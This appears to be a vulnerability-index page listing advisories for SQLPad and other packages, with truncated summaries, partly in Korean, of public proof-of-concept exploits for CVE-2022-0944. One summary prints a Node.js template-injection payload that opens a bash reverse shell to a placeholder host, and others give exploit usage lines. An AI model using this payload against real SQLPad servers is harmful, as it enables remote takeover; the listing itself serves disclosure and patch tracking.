GHSA-JGGR-W7FW-PC2J vulnerabilities

Vulnerabilities for packages: dotstatsuite-supercore, sqlpad...

CVE-2022-0944

CVE-2022-0944 SQLPad - 템플릿 주입 이는 블라인드 취약점으로, 출력이 응답에 직접 반환됨을 의미합니다. 익스플로잇 다음 명령으로 스크립트를 사용하세요: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 출력 Login was successfull Exploited! 테스트 환경 Docker 사용: Docker 컨테이너 시작 - sudo docker run -...

CVE-2022-0944

CVE-2022-0944 PoC SQLPad에서 RCE를 위한 PoC입니다. 이 예제는 리버스 셸을 생성하지만, 페이로드 내 'exec' 호출의 명령을 변경하여 사용 가능한 모든 명령을 실행하도록 페이로드를 수정할 수 있습니다. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 요구 사항 Python 3 사용법 1. 리스너 시작...

CVE-2022-0944

CVE-2022-0944 SQLPad RCE CVE-2022-0944에 대한 개념 증명 익스플로잇 사용법 usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password login password...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE Exploit This repository contains an exploit script for CVE-2022-0944 in SQLPad, a vulnerability that allows for Remote Code Execution RCE via the /api/test-connection endpoint. Overview The provided script exploit.py demonstrates how to exploit the RCE vulnerability in SQLPad. The scri...

CVE-2022-0944_RCE_POC

CVE-2022-0944 Proof of concept exploit for SQLPad RCE CVE-2022-0944 leading to a RCE with a revershell to the attackers PC. Usage usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell Example: trigger...

SQLPad-RCE-Exploit-CVE-2022-0944

작동 방식: 이 PHP 코드는 SQLPad 의 원격 코드 실행RCE 취약점CVE-2022-0944을 악용하도록 설계되었습니다. 악성 코드를 SQLPad 애플리케이션에 주입하여 시스템 명령을 실행하도록 강제함으로써 공격자가 취약한 시스템을 원격으로 제어할 수 있는 리버스 셸 연결을 만듭니다. 사전 요구 사항: PHP CLI – sudo apt-get install php-cli cURL PHP cURL library – sudo apt-get install php-curl 사용법: 1. 리스너 설정 공격자 머신에서 리버스 셸...

SQLPad-6.10.0-Exploit-CVE-2022-0944

SQLPad 6.10.0 Exploit CVE-2022-0944 This Bash script exploits an RCE vulnerability in SQLPad 6.10.0, allowing an attacker to achieve remote code execution RCE by abusing the host and database fields in SQLPad’s MySQL database connection settings. The exploit leverages SQLPad’s unsanitized handlin...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: npm, langfuse-fips, code-server, librechat, renovate, langfuse, pulumi, sqlpad, commercial-gitlab-rails-ee, wazuh-dashboard-fips, actions-runner, unleash-proxy, lerna, wazuh-dashboard, prism, unleash-fips, kibana, commercial-gitlab-rails-ee-fips, homepage, graalvm,...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: npm, langfuse-fips, code-server, librechat, renovate, langfuse, pulumi, sqlpad, commercial-gitlab-rails-ee, wazuh-dashboard-fips, actions-runner, unleash-proxy, lerna, wazuh-dashboard, prism, unleash-fips, kibana, commercial-gitlab-rails-ee-fips, homepage, graalvm,...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: npm, langfuse-fips, code-server, librechat, renovate, langfuse, pulumi, sqlpad, commercial-gitlab-rails-ee, wazuh-dashboard-fips, actions-runner, unleash-proxy, lerna, wazuh-dashboard, prism, unleash-fips, kibana, commercial-gitlab-rails-ee-fips, homepage, graalvm,...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: npm, langfuse-fips, code-server, librechat, renovate, langfuse, pulumi, sqlpad, commercial-gitlab-rails-ee, wazuh-dashboard-fips, actions-runner, unleash-proxy, lerna, wazuh-dashboard, prism, unleash-fips, kibana, commercial-gitlab-rails-ee-fips, homepage, graalvm,...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: npm, lerna, prism, pulumi, sqlpad, code-server, renovate...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: npm, lerna, prism, pulumi, sqlpad, code-server, renovate...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: npm, lerna, prism, pulumi, sqlpad, code-server, renovate...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: npm, lerna, prism, pulumi, sqlpad, code-server, renovate...

CVE-2026-77301 vulnerabilities

Vulnerabilities for packages: sqlpad, saf...

GHSA-7Q85-XJ36-VMFC vulnerabilities

Vulnerabilities for packages: sqlpad, saf...

CLEANSTART-2026-FG94911 Security fix for ghsa-8qq5-rm4j-mr97 applied in: mongosh 2.5.10-r5, mongosh 2.8.1-r0, renovate 43.4.4-r0, sqlpad 7.5.7-r0, thingsboard 4.2.1.1-r1, thingsboard-tb-web-ui 4.2.1.1-r1

ghsa-8qq5-rm4j-mr97 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-LS86065 Security fix for ghsa-xxjr-mmjv-4gpg applied in: jitsucom-jitsu 2.11.0-r2, sqlpad 7.5.7-r0

ghsa-xxjr-mmjv-4gpg affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...